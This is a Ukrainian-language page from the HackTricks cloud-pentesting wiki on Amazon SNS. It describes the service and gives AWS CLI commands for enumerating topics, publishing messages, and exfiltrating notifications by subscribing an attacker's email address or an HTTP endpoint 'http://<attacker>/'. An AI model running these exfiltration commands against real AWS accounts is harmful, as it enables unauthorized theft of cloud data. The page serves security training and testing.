AWS - SNS Enum

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

SNS

Amazon Simple Notification Service (Amazon SNS) описується як повністю керований сервіс повідомлень. Він підтримує як застосунок-до-застосунку (A2A), так і застосунок-до-людини (A2P) типи комунікації.

Ключові функції для комунікації A2A включають механізми публікації/підписки (pub/sub). Ці механізми вводять теми, які є важливими для забезпечення високопропускної, тиском заснованої, багато-до-багатьох комунікацій. Ця функція є дуже вигідною в сценаріях, які включають розподілені системи, мікросервіси та подієво-орієнтовані безсерверні архітектури. Використовуючи ці теми, системи-видавці можуть ефективно розподіляти повідомлення до широкого спектру систем-підписників, сприяючи шаблону розповсюдження повідомлень.

Відмінність від SQS

SQS - це сервіс на основі черги, який дозволяє комунікацію точка-до-точки, забезпечуючи обробку повідомлень одним споживачем. Він пропонує постачання хоча б раз, підтримує стандартні та FIFO черги, дозволяє зберігання повідомлень для повторних спроб та відкладеної обробки. З іншого боку, SNS - це сервіс на основі публікації/підписки, який дозволяє один-до-багатьох комунікацію шляхом трансляції повідомлень до кількох підписників одночасно. Він підтримує різноманітні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS, і надає механізми фільтрації для цільової доставки повідомлень. Хоча обидва сервіси дозволяють роз'єднання між компонентами в розподілених системах, SQS акцентується на черговій комунікації, а SNS підкреслює подієво-орієнтовані шаблони розповсюдження.

Перерахування

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Зверніть увагу, що якщо тема має тип FIFO, то можуть бути використані лише підписники, які використовують протокол SQS (HTTP або HTTPS не можуть бути використані).

Також, навіть якщо --topic-arn містить регіон, переконайтеся, що ви вказали правильний регіон у --region, інакше ви отримаєте помилку, яка виглядатиме як відсутність доступу, але проблема полягає в регіоні.

Неаутентифікований доступ

pageAWS - SNS Unauthenticated Enum

Підвищення привілеїв

pageAWS - SNS Privesc

Післяексплуатаційна діяльність

pageAWS - SNS Post Exploitation

Наполегливість

pageAWS - SNS Persistence

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated